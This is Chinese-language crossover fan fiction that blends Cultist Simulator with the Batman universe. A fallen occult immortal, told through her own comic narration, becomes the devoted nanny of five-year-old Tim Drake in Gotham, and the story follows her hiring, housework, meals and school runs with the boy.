《红罗宾养成日志》
1. 一份工作
我叫……
我叫什么并不重要。
过往的名姓在我遁入林地时就已经抛却,作为长生者,侍奉在司辰左右的日子,已经快要比我作为凡人的日子长了。
如果你非要一个称呼的话……
你可以叫我普莉希拉·林。
比起名字,现在的我面临着一个更加严峻的问题——
我的上司们打起来了。
战争,哦,当然会有战争。哪怕是高高在上的司辰们,打起架来,也不会比凡人体面多少。
祂们打得昏天黑地,*漫宿已经变得一团糟。或许最近会有很多凡人因此做噩梦?我这么想着,看着面前混乱的一切,听着司辰们一个个被除名的消息,内心忍不住担忧:
万一我的上司也被除名了,那我该怎么办?
我刚落地伦敦时,孤儿开局,身无分文,眼前只有一张卡牌,上面写着:
“伦敦总是这样,天堂和地狱一线之隔,你不过是流离人群中最不起眼的那个……等等,你似乎拥有什么奇异的能力?”
然后我就靠着这奇异的能力疯狂种地酿酒,赚到了第一桶金,白天打工晚上学习,成功给自己混来了一纸文凭。
我没来得及喜悦。
因为这个时候,我的面前又弹出了一张卡牌:
“迈入无形之术的世界……你需要做很多。当然,躲避那些在暗处的鬣狗也同样重要。”
在这个阴冷的城市,我怀揣着这纸文凭,找了份工作,过上了白天打工晚上研究无形之术,还要防止被防剿局开门请喝茶的悲惨生活。
所幸功夫不负有心人,我兢兢业业十几年,终于飞升漫宿,成为了长生者,侍奉在了飞蛾身侧。
所以说,那么倒霉的一天要消三次邪名,被防剿局三天两头追捕,逮进局子的日子好不容易过去,难道一切就要在此终结吗?
不是我杞人忧天。
毕竟隔壁刃道路的司辰,哦,就是主管战斗与抗争等等那些的司辰们,把自己全打除名了。
不过我的上司飞蛾也许不会走到那一步,蛾总是这样的。
混沌又变化。
这么想着,我松了口气。
……这口气松早了。
从漫宿往下跌的时候,我没有尖叫,没有迷茫,当然,也不知道我上司的死活。虽然现在祂不管是死是活,我都已经从长生者变回了凡人。
在彻底坠入一片黑暗的时候,我的脑子里只有一个念头:
糟糕,以前*道格拉斯开的玩笑成真了。
这下我真的返凡了,可以被逮去防剿局喝茶了。
……
哥谭,同样是一座阴冷的城市。
这儿阴雨绵绵,这儿邪恶滋长。在每一个小巷,或许都曾有过令人心碎的故事。然而,自从那位神秘大蝙蝠横空出世之后,这儿的治安已经略微好转了些。
我站在陌生的土地上。
这是哪儿?
哥谭?
有一瞬间,我几乎以为自己回到了一切都尚未发生之时。那个时候,我还是一个爱看漫画的普通人,每天最大的快乐就是看看百特一家,尤其是小红鸟。
哦,我现在也是“普通人”。
等等,这不对吧!
一下子把我从一个片场炸到另一个片场……上司们你们好好的打什么太阳战争啊!!!
我的眼神从“哥谭”的卡牌上移开,看着模拟器顶部一条绿色的,闪烁着不明流光的灰色进度条,下意识皱了皱眉。
来不及想那么多,我迅速打量了下四周,刚想把身形藏进阴影里,身后忽然就传来了一阵下流的口哨声。
一个干瘦的男人握着把小刀,应该对世界说抱歉的五官上是更加应该抱歉的神情,他流里流气地看着我,眯起眼睛道:
“小妞,一个人走夜路啊?”
“把身上值钱的东西交出来……乖乖的,还能少受一点罪。”
他缓缓靠近我。
其实我严格来说不能算是人,不过这也没有什么对眼前人说的必要。
我只是看了看满满当当的卡牌栏,而后毫不犹豫地动手!
技能:完美的体魄。
你以为我日日夜夜在港口搬砖是开玩笑的啊!
“咔嚓。”
对面非常抱歉的小混混什么都没看清,只看到了一个迅猛的影子朝他扑来!
而他只来得及发出一身惨叫声,两条胳膊就软绵绵的垂了下来。
其实我还是收了点力。
不然,我挤碎他的脑袋,不比挤碎一个西瓜困难。
没再去管小混混的下场,我走出这条小巷——一张新的卡牌弹了出来,告诉我接下来应该要做什么。
恰好,我也很乐意去做。
“一份工作:德雷克家的保姆。”
“德雷克家的保姆总是玩忽职守,从前她运道不错。只可惜,这一次,她的失误恰好被主人们瞧见。噢,她要为此付出代价的。”
女人轻巧地消失在了小巷,不知是否是罗宾的错觉,他总觉对方没有任何足音。不过眼下,显然有另一件事更令他在意:
“噢,B,你看到了吗?”
一个看上去有些纤细的高挑女性,手无寸铁,仅仅只是靠着手臂力量,硬生生给一名持刀男性扭断了胳膊。
“在哥谭,这并不奇怪。”
藏在黑暗里的大蝙蝠低沉地说着,只是看着罗宾欢快地把人举起来捆住的动作,默默往后又挪了一点。
当然不奇怪。
哥谭,这座神秘的城市,你可能抢劫别人,也可能被人抢劫。尤其是敢在深夜的小巷独自行走的路人,或多或少都有些傍身手段。
这回,小混混刚好踢到硬茬子了,仅此而已。
夜还漫长,他们不可能把时间浪费在这里。
伴随着警车呼啸而来的警笛声,蝙蝠和他的罗宾一起,再一次跃入了沉沉的夜色之中。
这是不会改变的一件事。
……
我拿着招聘简历站在德雷克大宅前。
真是久违的感觉了。
上一次投简历,还是十几年前,这让我有点担心自己能否还能有得体应对所有问答的能力。
昨晚我紧急整理了下自己的仪容仪表,换了一身得体的黑色长裙,盘好长发,这才前往德雷克大宅。<
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第一印象总是重要的。
我这么想。
能看得出,那件让前保姆被辞退的事或许很大,否则珍妮特不会满脸郁色,哪怕见到我时,只能面前勾出一个礼节性的笑容。
我朝对方对了点头,自我介绍道:
“普莉希拉·林,来应聘德雷克家的保姆。”
她疲倦的目光一下子犀利起来,显然,她在打量评估我是否具有那个资格。
好半天,她低声道:
“请进。”
德雷克大宅空荡的过分,掠过那些无序摆放着的书,散落在地的纸页,我瞧见了坐在沙发上,写写画画着什么的杰克·德雷克。
他显然对这儿多个人或者少个人并不在乎,或许在他眼里,工作要比这些重要的多。
而这座宅子的小主人,此刻并不在这儿。
我假装没看到房门后那一个小小的影子,和普通人一样,将我的简历递了出去——
毕业于一所出名的大学,有过几年格洛弗公司上班的经验,并且差点一路坐到董事的位置……这些经历无疑让珍妮特满意,但旋即,一个更大的问题接踵而来:
“恕我直言,您这样的优秀简历,为什么会想到来应聘保姆呢?”
因为你儿子是我推。
我脑子里这么想着,脸上却自然而然流露出一点伤感的表情——蛾总是擅长伪装的。
“我曾经忙于工作,没有很好的机会陪伴家人……后来……发生了一点事情,我慢慢发觉自己厌倦了日复一日的工作,更喜爱与孩子们相处。”
话语里带着留白,却足够让人明白里面究竟有着什么故事。
而后,我又递给她一份简历:
上面明确写着,在来到哥谭之前,我就已经从事该行业五六年,并且考取了一系列相关证书。
至于我为什么有这份工作经历……
哪怕是研究无形之术,也好把日子过好啊!我从事过保姆,港口卸货员,公司文员,警探,舞者,乃至灵媒,前清算人等诸多职业,只是为了讨一口饭吃。
这份经历如果能写出来,或许能写成一本《我在带英的打工日记》。
啊,扯远了。
看着珍妮特犹豫的神色,我知晓她已经消解了怀疑,而后,我开口,语气很轻柔:
“并且,如果您不放心,您也可以去调查我的前任雇主们。在每一位雇主口中,我都是最可靠负责的那一个。”
珍妮特顿了顿,似乎恍惚了一瞬间,但旋即,也许是上述话里的什么戳中了她,她顿了顿,温声道:
“您通过这次面试了,普莉希拉小姐。”
随着珍妮特的话语落下,一张卡牌又弹了出来:
“一份工作:
你成为了德雷克大宅的保姆。这儿时常寂静无人,你只需照顾好一位小主人,等他一点点丰满羽翼,飞往更广阔的地方。”
“你总是会支持他的。”
叉掉卡牌,我站起身,很稳重地向珍妮特表示感谢。
哪怕其实我的内心已经在尖叫爬行了。
小提……嘿嘿……幼年的小提……不敢想有多可爱!!!
2. 一位雇主
德雷克夫妇们显然有要事在身。
看着杰克一刻不停动着的笔就知道了。
而珍妮特匆匆朝我交代了些东西,又急忙和杰克托着行李离开。
不过哪怕他们如此匆忙,我也得知了上一任保姆被辞退的原因。
玩忽职守,不在意小主人已经是常事。她总这么做,又总是在雇主们回来前伪装好一切。
然而这次提姆突然发烧,而上一任保姆仍在酣睡,没有办法,这位懂事的小孩拨通了珍妮特的电话。
恰好他们有要事回哥谭一趟,珍妮特干脆就提前了几天,正好撞见了保姆不耐烦地给提姆灌水,一边骂骂咧咧,一边动手打了提姆的一幕。
珍妮特离奇愤怒了。
就这样,前一任保姆被炒鱿鱼了,同时还要面临着许多指控。珍妮特和杰克也为此停留了两三天,寻找下一任保姆。直到今天,他们拖无可拖,必须得动身。
……四面楚声啊,怎么能这么对一个五岁小孩,是人否?
送走了雇主们,我看着仍旧躲在门后的小主人,试探着往前走了几步,在保持着一个安全的距离后,这才蹲下身,尽可能夹着嗓子,温声道:
“你好,提摩西少爷,我是普莉希拉·林,如果有什么需求,您都可以吩咐我。”
这个情况,有一种在和警惕小猫对话的感觉。
我蹲了一会儿,见他没有出来见我的打算,也不着急——毕竟上一任保姆显而易见的不做人,眼下小孩警惕防备也正常。
于是我想了想,开口道:
“接下来,我将会对宅邸进行一次大扫除,您要是有需要,可以呼喊我的姓名,我的听力很好,只要您喊了,我一定会听到的。”
毕竟我不是人,五感敏锐一点也很正常,对吧?
我直起身,刻意在地上压出点足音,好让人知道我一直都在这儿。
而后,我直起身,准备开始我得心应手的工作之路。
正如卡牌所说,这份工作清闲无比,雇主出手阔绰,哪怕是保姆居住的房间也足够宽大。在完成一天的工作之后,我有大把的时间继续研习无形之术。
说起这个……我要不要联系先前的熟人们……
算了,现在漫宿打成这样,现在飞升和11年入清军有什么区别。
这么想着,我准备先去拿工具。等把整个大宅打扫整理过一遍之后,再把我放在车上的那些行李搬进保姆房。
主要是有非常,非常多的书籍,这些比较难办。
“普莉希拉小姐……”
一声稚嫩的童声响起,我克制住自己向日葵猛回头的冲动,转过身,看着一点点蹭出来的小孩,愣了下,旋即赶忙蹲了下去,好认真注视着对方的眼睛:
“怎么啦,提摩西少爷,您有什么需要的吗?”
我发誓,这已经是我能夹出的最温柔最甜的嗓音了,我当年攮死大敌的时候,用的语气都没这个温柔。
而且……
能控制住面部表情不扭曲,就已经用尽了我的力气。
太可爱了,完完全全就是宝宝!
提姆很显然更像妈妈一点,五官比较柔和,漂亮的蓝色眼睛就如同世界上最名贵的宝石——我敢保证,在那么多长生者,具名者里,没有一双眼睛能比眼前这双眼睛美丽。
“不,我并没有什么事。”
五岁的小孩还有些警惕,同我之间保持着不远不近的距离,像是为了缓解尴尬,又像是感知到了我释放的善意,他抛出了一个话题:
“您的姓氏……很独特。”
鬼使神差的,我明白了他的意思。
这个姓氏在英美确实比较独特,我猜想它也许是我曾经的一部分缩影,以至于后来我给自己取名字时,下意识的保留了这个姓氏。哪怕我已抛却一切,却依旧忘不了这点和过去可怜的联系。
“是的,我是混血儿。”
我这么说着,看了看时间,又看了看面前的小孩,决定还是循序渐进着来。
“您要吃早饭吗?”
当话题冷场时,问一句“你吃了没”总没错。
这就是拆尼斯智慧。
……
提姆本来没打算这么快再见一个保姆,但珍妮特坚持他需要一个保姆,毕竟他还是孩子。
一个只有五岁的孩子。
他很想说自己可以的,至少他不觉得有一个保姆和自己自力更生的区别在哪里,甚至没有保姆,那些不必要的伤痕都不会出现。
但哪怕他送走了对方,却依旧阻止不了一个新保姆的出现。
提姆决定在门后观察下这个新保姆。
黑色盘发,灰色眼眸,整个人的五官很端正秀美,或许她不应该在这,应当去剧院做个受人追捧的女主角?很朴素的黑色长裙,走路姿势文雅——她看上去就像是出身上流社会,接受过良好教育的人。
而且,她走动间,没有任何足音。
提姆越分析,就越觉得奇怪。
这样一个人,为什么要来应聘保姆?
小小的孩童被勾起了兴趣,他决定继续往下听。
“普莉希拉·林。”
保姆进行了自我介绍,他不得不说这个姓氏很少见。紧接着,她就拿出了足够漂亮的简历。
他和珍妮特有着同样的疑惑。
可随着对方温柔的嗓音,慢条斯理的解释,这份疑惑很快就被吞掉了,只留下一阵轻微的嗡鸣,昭示着刚刚这里存在疑惑。
出乎提姆意料的是,普莉希拉是一个足够尊重人的保姆。
哪怕雇主们已经离去,可面对小主人,她依旧保持了一种尊敬的态度,半蹲下身,减缓身高压力,认认真真地把他当做一个大人进行谈话。
天知道他有多需要这个。
过于聪明早熟的孩童需要这份尊重,借着对方的这份善意,在普莉希拉准备离开时,提姆迈出了这一步。
没什么好怕的,就算这个不行,他也能保护好自己。
就像面对上一任保姆时那样。
然后他抛出了一个或许并不算太好的话题。
好吧,何止是不是太好,可以说是非常烂的话题。
还没等提姆露出懊恼的神情,普莉希拉就露出了一个很温和的笑,还认真回答了她的问题。
似乎是意识到了他的尴尬,普莉希拉开口,很轻柔的语调,有点像唱歌似
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的轻盈:
“您要吃早饭吗?”
提姆这才意识到,从醒来到现在,他还没吃过一样东西。
看着普莉希拉温和的神色,提姆有些犹疑地想:
或许,她会和之前的那些保姆都不一样呢。
她真的和之前那些保姆都不一样。
提姆吃着美味的煎鸡蛋,看着普莉希拉熟练的做饭动作,变戏法似的,又端上来一份薯饼和一份薄煎饼。
而后,她先前热好的牛奶也在恰到好处的时候被端了上来。
“完美早餐。”
普莉希拉朝他眨了眨眼。
确实是完美早餐。
咬了口美味薄煎饼的提姆郑重地点了点头。
真是一份完美的早餐。
我在心里“桀桀”笑着,我老农民的完美厨艺岂是浪得虚名!只要给我一把原材料,一个厨房,我就能顷刻炼化!
不是我自夸,这份早餐的名字真的叫完美早餐。
而这份完美早餐,很显然也俘获了小提姆的心。
即使我们现在的称呼还在非常疏远的阶段,但我自信地认为,只要我持之以恒,总有一天,我能打破这层寒冰。
我信心百倍。
等提姆吃饭的时间,我决定先把保姆房打扫了。
把那些没有用的东西都清理出去,打扫干净卫生,在从我亲爱的小破车上搬出一堆又一堆书——主要还是顾及这里有小孩在,不然我或许会用无形之术帮助我搬运。
不过也只是麻烦了点而已,这些书不比码头的货物重。
等把保姆房初步整理好了之后,我又把整个德雷克大宅火速打扫了一遍,该分类的分类,该归纳的归纳,看起来重要的,我就全都整理到了书房去。
拥有完美体魄和无数工作经验的我,处理起这些可谓是得心应手。
当然,清扫过程中我避开了那些孩童的玩具,和一些被打开但随意放置的书——我猜测那些应该是提姆的东西,不是我能够随意处置的,还是得问过对方的意见之后,再进行下一步。
就这样,在提姆要把盘子端过去的时候,我走到了他的身后。
小孩听见足音回过了头。
这个时候,他倒是不排斥和我的距离接近,只是用疑惑的眼神看着我。
他真是个甜心。
被那双蓝眼睛注视着的我感叹了句,从他手中接过了盘子,放到了一边,准备待会儿清洗。而后,我蹲下身,看着面前小小的男孩,询问道:
“刚刚我在地上发现了一些玩具和书,我猜测那应当是您的?您的物品,我没有权力处置,您看看,是想收起来,还是想放在原地?”
提姆愣了愣,像是在想什么,好半天,才看着我道:
“您不做主收拾了吗?”
“正如我先前所言,那是您的东西。”
虽然孩子小,但这并不是我随意动他东西的理由,尤其是我们还没有那么熟稔的情况下,此等行为更是大雷。
“您的东西,只有您自己有权处置。”
“无论是丢弃还是珍惜,无论是收起还是放置,旁人都无权置喙。”
我这么说着。
3. 一张邪名
普莉希拉和之前的保姆都不一样。
一只小天使在提姆右边嘀嘀咕咕:
你看,她不仅会做好吃的早餐,还会在收拾东西的时候尊重你的意见,她是把你当成一个大人来交流的。
而左边,黑色翅膀的小恶魔挥动着叉子,反驳道:
万一她只是很会伪装呢!
我们已经五岁了,不能再像一个四岁的小孩一样,傻傻被骗了!!!
小恶魔发出一连串尖锐的感叹,像是在提醒提姆不要跳进一个火坑里。
可是……
提姆抬起眼睛,看着普莉希拉那双灰色的眼瞳——那里带着真诚,带着温暖。她是真的,发自内心的,认为应该过问提姆的意见。
他决定稍稍相信一点对方。
提姆不是因为一件事就会永远束手束脚,把自己困在原地的人。
他一直都是胆子很大,勇敢迈出那一步的人。
于是他看着普莉希拉,很轻道:
“先放那儿吧,普莉希拉,我会去收起来的。”
天呐,他真可爱。
我看着面前的小男孩纠结了半刻,然后这才抬起头,很认真地看着我,给出了他的回答。
我回答了声“好”,就踩着轻快的脚步去工作了。
事先说明,工作起来的时候,我会比较忘我。研习无形之术也是这样的,全心全意投入一样东西,然后从中得到自己想要的——虽然有的时候回过神来,眼前已经叠了两张*入迷。
紧急消掉入迷的过程虽然有些匆匆忙忙,连滚带爬,但是幸运的是,我还站在这里,就说明我没有疯掉。
事实证明,一位前长生者,现凡人的工作效率还是非常快的。
到了午餐时间,我就已经成功把整个德雷克大宅打扫了一遍。
至于花园……珍妮特他们并不在意,我问询过后,他们告知我可以随意处理——种点花,种点树,亦或者是别的什么,他们不在意。
他们很忙碌,以后除非大事,非必要不联络。
真是忙碌的一对夫妇。
我琢磨着改天要不在花园里种点花,然后给提姆扎个秋千玩……也可以是别的玩具,总之,还需要思考。
话说最近哥谭流行什么玩具?例如蝙蝠周边之类的。提姆现在应该还没开始追逐蝙蝠……要不旁敲侧击问问?
如果他喜欢的话,我针线活不错,给他缝几个蝙蝠罗宾棉花娃,蝙蝠家努努完全不是问题。
小提想要,小提得到!
就在我思索的时候,一直跟在我身后的提姆疑惑地开口:
“怎么了,普莉希拉?”
我转过身,蹲了下来,问道:
“没事,卫生已经打扫完毕,我只是在想花园可以种点什么东西。以及,提摩西少爷,您喜欢秋千吗?”
提姆不明白为什么我问了这么一嘴,但按照我的经验,这个年纪的小孩,应该都不会拒绝一个秋千。
“呃……喜欢?”
他有些不大确定。
我没说什么,只是点了点头,抛下一句:
“那就请您稍稍等些日子吧。”
还没等小孩发问,我又道:
“您午餐要吃什么?”
提姆显而易见陷入了纠结。
作为体贴的管家,我又举了一堆菜单,最后提姆眼神亮亮地看着我,问道:
“可以都要吗?”
我:……
可以!当然可以!
谁说不可以的我全部给他打成沫沫,连夜沉到哥谭湾去!
啊,抱歉,刚刚情绪太激动了。
我微笑着,肯定道:
“当然可以,我会每天更换菜单,您要是格外偏爱哪道,可以同我说。”
我今晚就要把那压在不知哪个角落吃灰的菜谱扒拉出来。
说起来,这还是之前一个杯道路长生者给我的……
等等,杯的食谱……
我不想cos汉○拔哥谭分拔。
万一呢。
万一它只是本平平无奇的食谱呢?
晚上我一定要翻到它。
提姆显然很高兴。
虽然过分聪慧早熟,但他毕竟还是五岁的孩子。大清早爬起来观察人,刚才又和小鸭子一样“啪嗒啪嗒”跟着我从楼下打扫到楼上,自然而然有了困意,吃完午饭就开始昏昏欲睡。
我看着一边握着调羹,一边小鸡啄米的小孩,手指悄悄动了动,留下了一张相片。
至于我哪来的记录设备……
无形之术,很神奇吧?
唔,说起来,等忙完之后,我应该去买一本厚相簿,方便及时记录小提姆的成长。
童年的每一个阶段都是值得纪念庆祝的,尤其是生日。每一个生日,都代表着他的羽毛一点点丰满,他的身体身体一点点强健,代表着……
他有足够的能力,飞向更广阔的天空。
而我要做的,就是在他尚且年幼脆弱的时候,保护好他,支持着他,让他知道,哪怕忽然下坠,我也永远会在下面接住他。
在很久很久以前,这就是我的心愿。
从前的我没有能力,现在的我,一定会做到这一切。
我向守夜人起誓。
等等……
守夜人是不是打太阳战争给自己打除名了?
算了不重要。
总之,你好好长大就好。
我走了过去,试探地碰了两下提姆,见他没有抗拒,于是小心翼翼地把他抱了起来,放到了床上。
做完这一切之后,我替他掖好了被角,坐在床边守了他片刻——
好吧,我只是单纯地盯着提姆的脸在发呆。
还这么小呢。
轻飘飘的一只小鸟,生怕一用力他就会碎掉,以至于我下意识地收力再收力,唯恐把对方碰伤。
哪怕再聪明,再会保护自己,也还只是个五岁的小孩呢。
我看着这个大病初愈的孩子,看着他没有多少肉的脸颊,微微叹了口气。
而后,我的手动了动,一只常人无法瞧见的飞蛾轻盈地落在了提姆的床头。
一旦有什么异动,我会知道的。
我起身,拉上窗帘,小心关上门,前往厨房收拾残局。
随着门的彻底关上,躺在床上的提姆睁开了眼睛。
他知道普莉希拉刚刚在看他。
但对方什么也没做,只是看着他。就好像,注视着一件珍宝一样。
为什么?
小小的孩子还不懂普莉希拉眼神的含义,不懂她为什么莫名叹气,他只是忽然觉得……<
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确实有那么一点困意了。
就像是小猫在接触陌生的环境,彻底安心之后,才肯放下戒心睡着一样。
提姆也觉得自己有点困了。
那就睡吧。
他闭上眼。
反正……普莉希拉说过,她听力很好。
只要他呼唤,她一定会来的。
提姆愿意暂时的,稍稍相信一下这位新保姆。
暂时。
……
这个城市正在坠入黑夜。
黑漆漆的大蝙蝠在电脑前敲敲打打着什么,欢快的罗宾在蝙蝠洞内荡来荡去,轻巧快乐,色泽鲜艳灵动,如同一只真正的小鸟。
他一个人玩了会儿,颇有点无聊,于是凑到蝙蝠侠身边,看他到底在做什么。
“普莉希拉·林,这是什么任务目标吗?”
他钻进蝙蝠侠的披风里,又猛地冒出来,对这个游戏,他一向乐此不彼。
蝙蝠侠沉默了下,低沉着嗓音道:
“只是个计划。”
“噢,蝙蝠侠永远的plan B。”
罗宾一听这话就点了点头,躲在蝙蝠侠的披风里,打量着这位女士的照片:
二十多岁,身材高挑纤细,黑发灰瞳,看上去很文雅,除此以外,他不觉得对方有什么特别之处。
蝙蝠侠没有解释。
他昨天晚上调查监控时,偶然发现许多处的监控都受到了莫名的干扰,只能发出“嗡嗡”的响声,哪怕这异常只有一瞬间,却足够让人警惕起来。
于是蝙蝠侠通过反向追查,成功追溯到了这位女士的身份。
巧合的是,他们不仅在巷子里见到了对方,对方更是前去应聘了德雷克家的保姆。虽说他们与德雷克家不算相熟,但上流社会,抬头不见低头见的,都有几分大致印象。
哪怕对方履历看起来清清白白,多疑的蝙蝠还是打算把她写进计划里。
有备无患。
罗宾见蝙蝠侠没有要告诉他的意思,拧了拧眉,又蹦出了披风,小鸟一样闲不住到处晃了起来。
屏幕幽幽的光照着蝙蝠侠的那张脸,在某一瞬间,有着极其强大的惊悚感。令人不禁想,或许哥谭的那些传闻,从来都不是空穴来风。
可还没等他细想下去,罗宾似乎碰到了什么,洞内顿时响起了一声巨大的物品倒地声:
“轰隆!”
怎么书全倒掉了!
我头昏脑涨地翻着一本又一本书,目标是从几百本书里找出一本平平无奇的食谱。
可还没等我把这一切收拾好,一张卡牌莫名其妙弹了出来:
“你被察觉了!”
“防剿局已经盯上了你。”
“噢,你的老熟人道格拉斯警探又一次追随者你的脚步来到了异地,这位只是想退休种玫瑰的警探总被搞出混乱的家伙们弄得疲惫不堪。”
“但看在过去的份上,他或许愿意和你谈谈?”
我看着周围乱糟糟的书,再看了不知道什么时候出现的三张邪名,以及自动吸附邪名的道格拉斯卡牌,忽然意识到:
如果我不想被逮进局子,我就得去和道格拉斯谈谈。
但是……
天杀的,谁给我发的三张邪名!
清汤大老爷,我什么都没干啊!
4. 一次接送
好烦。
谁会想和条子谈谈。
我坐在一堆书里,看着不知道什么时候出现的三张邪名,在心里咬牙切齿。
我来到哥谭的时候,除了扭断了一个混混的胳膊,什么都没干,今天更是勤勤恳恳打扫了一天卫生,连干坏事的时间都没有!
到底是谁在冤枉我……
看着那些信徒卡牌,我犹豫了会儿,终究还是没打算在哥谭闹出些什么大事。哥谭已经够多灾多难了,我就不要掺上这么一脚了。
而且我已经金盆洗手,不再干什么教主了。没看到我到现在,都没联系什么信徒吗?
毕竟孩子将来是要干义警的,我不能拖孩子后腿。
怕审核不通过。
我糟心地吐出口气,暂时也没心情找那食谱了,把屋子收拾了一遍之后,我就起身,叉掉了那难看的界面,准备去做晚饭。
难受归难受,孩子的晚饭不能耽误。
而且做饭的食材也不够了,我的一键烹饪都没几道菜能做的。
虽说可以订货上门,但我果然还是喜欢亲力亲为。等有空的时候,去购买点食材吧。
嗯……或许还可以做点中餐。
今晚食材不够,我简单做了碗意大利肉酱面,并且又给小孩热了杯牛奶。
牛奶是固定NPC,我有预感,在接下来很长一段时间内,它都会出现在菜单上。
说不定等孩子长大了也还要喝牛奶呢。
不过有一说一,提姆吃饭的时候很安静,安静的不像是这个年纪的小孩。不需要哄,不需要喂,自己一个人小小的,很慢很认真地在那吃。
没有用到我的地方。
所以我站到了他身后,理直气壮地看着他吃饭发呆。
好吧,其实更多还是因为要和防剿局打交道心烦。
“普莉希拉,你不吃饭吗?”
我的思绪被一阵稚嫩的声音拉了回来。
提姆仰头看着我,脸上是认真的神情。
……这是在关心我吗?
我弯了弯眸,温和道:
“我已经吃过了,提摩西少爷。”
这个是我骗人的。
我不需要吃饭,因为我不是人。抛却一切之后,食物于我本来就不是什么必需品。不过在很久之前,欲望蓬勃之时,有的时候,看着人,我会有种想啃人的冲动。
那个时候*荒林俱乐部的橱柜里已经关了不少备用囚徒,不过后面我改行去当舞者了,于是那些囚徒就没有派上用场。
后面……好像是一直关着了?还是举行仪式的时候顷刻炼化了?
不记得了。
提姆显然不是个好糊弄的小孩,他看着我,露出点这个年纪特有的孩子气的固执。
他说,
“骗人。”
骗不过他。
当然,骗小孩也是不对的。
我于是弯腰,真切道:
“等会儿我再吃,此刻我并不饥饿。”
小小的孩子抱着胳膊看着我,像是在思考我这话语的真实性。好半天,他才勉为其难地点了点头:
“好吧……你答应我?”
我蹲下身,朝他伸出手,问:
“要拉钩吗?提摩西少爷?”
“别把我当小孩。”
提姆鼓了鼓脸颊,像是一只蓬松可爱的柯尔鸭。
他的眼神游移了片刻,又看了看我伸出的手,手还是诚实地勾了上去。
我们念着童稚的誓言,他很严肃,就像是在进行着至关重要的什么大事。而我看着他,在心里向司辰们暗暗发誓:
我将永远不对他诉诸谎言,永远不会离开他。
在很久之前,我就这么想过。
所以在孩子的监督下,我也给自己做了一碗意面,并且认真吃完了它。
第一天,我们都还不怎么熟悉,哪怕已经稍稍解开心结,提姆也只是有些拘谨地和我说了句:
“晚安,普莉希拉。”
“晚安,提摩西少爷。”
我温和地回复了他的晚安。
小小的孩子道完晚安就跑回了房间——也许是害羞?毕竟我们才刚认识没多久,猛然要加入对方都生活,确实足够让人犹疑。
还没等我思索个什么出来,提姆忽然又“哒哒哒”跑了过来,装出一副大人的模样,严肃地问:
“普莉希拉,明天早上,你会送我去幼儿园吗?”
哦,幼儿园。
珍妮特好像是提了这么一嘴。
提姆很聪明,而珍妮特不会错过这份聪明,早早把他送去私立学校接受教育,要不是因为这次的高烧,他也不会待在家里这么久。
一般来说,他都是白天上学,下午很早就放学了,时间并不那么紧迫漫长。平时,他都有专门的司机接送。
……我忽然意识到了什么。
于是我蹲下身,看着提姆,很轻地问:
“如果您想要我送您的话。”
“我的车子比较老旧,或许您坐着会不舒服。”
那辆车陪我躲过了无数次防剿局的夺命追击,耐造无比。虽然外表老旧,但实在好用,所以到现在,我都没有换掉它。
提姆想了想,眨了眨眼,像是明白我并没有拒绝他的意思,于是小猫一样小心翼翼地向前试探了一步:
“如果我说我可以,你不会拒绝的吧?”
“当然。”
我这么说。
至于为什么不开德雷克家的车……
因为我明天约了道格拉斯警探见面。而这位警探,也表示愿意听听我要说什么——看在我们认识这么多年的份上。
开着德雷克家的车太显眼了,要是被顺藤摸瓜了就不好了。
得到了承诺的提姆心满意足,很高兴地跑回去睡觉了。我站在原地,聆听着他关上门,扑到床上滚了滚,又用被子把自己裹起来的动静,慢慢的,不大熟练地露出一个笑。
不求完美,力求真实。
我已经很久没有不经任何伪装,只是单纯进行笑这个动作了。
成为长生者一定要失去些什么,飞蛾迷惑,混乱,善于变化,善于遗忘。过去的我是什么样子?现在的这份感情到底是出于我自己,还是又一次自我编织的梦境?
算了,不重要。
至少此刻,我们都真切地活在这里。
……
能有人拒绝小孩再睡五分钟的话吗?
我拒绝不了。
但在提
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姆第三次说出再睡五分钟的时候,我沉默了下,终于狠下心,强行把小鸟从被窝里挖了出来。
对不起了提姆,我们再拖下去,今天就真的要迟到了。
虽然可以用无形之术,但我已经金盆洗手不干那个了,而且也没法用科学解释。所以,乖乖起床吧!
提姆打着哈欠,揉着眼睛,迷迷糊糊地摸索着去洗漱了。趁这个时间,我煎好煎蛋,烤好吐司,一抹酱一合体,再加上老朋友牛奶,完美!
小孩汲拉着拖鞋下来了,整个人摇摇晃晃,像是集市里被戳了一下,于是摇摇晃晃个不停的不倒翁。
可爱。
我又偷偷拍了张照片。
昨天晚上我偷偷去买了本厚相簿,把第一张相片放了进去。
感觉很快就会填满。
这就跟你养了猫之后,手机相册里的各种猫图会以线面速度增长一样合理。
谁能拒绝拍这么可爱的宝宝?
反正我不能。
等到提姆吃完,我火速收拾好盘子,看着又在原地困得要睡过去的小孩,蹲下身,问了句:
“要我抱您过去吗?”
这个年纪的小孩应该已经有了我要自己走,我是最厉害的观念,所以我不大确定把对方直接抱到车上算不算踩对方雷点。
……我已经很久没有和小孩接触过了。
提姆似乎有点困倦,他思索了下,理直气壮地伸出短短的手,对我道:
“please。”
我从善如流地把孩子抱了起来。
什么你说这是惯着孩子?
哪里惯了!(震声)
他只是个五岁的宝宝啊!
我把他抱到了我的小破车旁,问了句他想坐前面还是坐后面。
也许是没有坐过副驾驶的新奇,提姆指了指副驾驶,一副我要试试的表情。
我点了点头,把昨晚紧急手搓的儿童安全座椅塞到了副驾驶,并且给对方绑好了安全带,再用无形之术稍稍在对方周围做了点安全措施。
万事俱备。
我拧动了收音机。
伴随着音乐,车子欢快地往目的地开去,我们不紧不慢,沿路风平浪静。
难得和平的一天。
提姆好奇地看向窗外,看着那些掠过的花草树木,只觉得换了个地方,哪怕是同样的风景,也会有新鲜的感觉。
好半天,他才转过头,仔仔细细打量起这辆车的内部。
和稍有破旧的外部相比,内部显得干净整齐:几个他看不大懂模样的小摆件,挂着的一串飞蛾形状的装饰——和今天普莉希拉帽子上的银饰飞蛾装饰很像。
收音机里传来一阵奇特的音乐,极度迷幻轻盈,是逐渐急促的鼓点,像风声,亦或者某种生物的尖叫,又像是遥远的呐喊,遥远的回音。
很独特。
空气里带着一股浅淡的香味,提姆猜测这应该来自普莉希拉身上的香水。
并不刺鼻,是一股浅淡的花香,橘子的调子总能很轻盈的冒出,是足够令人安心的香气。
最起码,提姆不讨厌这股香气,甚至于在这股香气里,他又有了昏昏欲睡的困倦感。
他感到安心。
他不否认这个。
5. 一场交谈
我目送着孩子去上幼儿园的学校身影,内心忽然升起了一股淡淡的惆怅——大概就类似于第一次送小孩去上幼儿园一样,不仅仅是小孩子不开心,家长心里也难受。
虽然这并不是提姆第一天上幼儿园。
在进去之前,提姆还转头看着我,认真问道:
“你下午会准时来接我吗?”
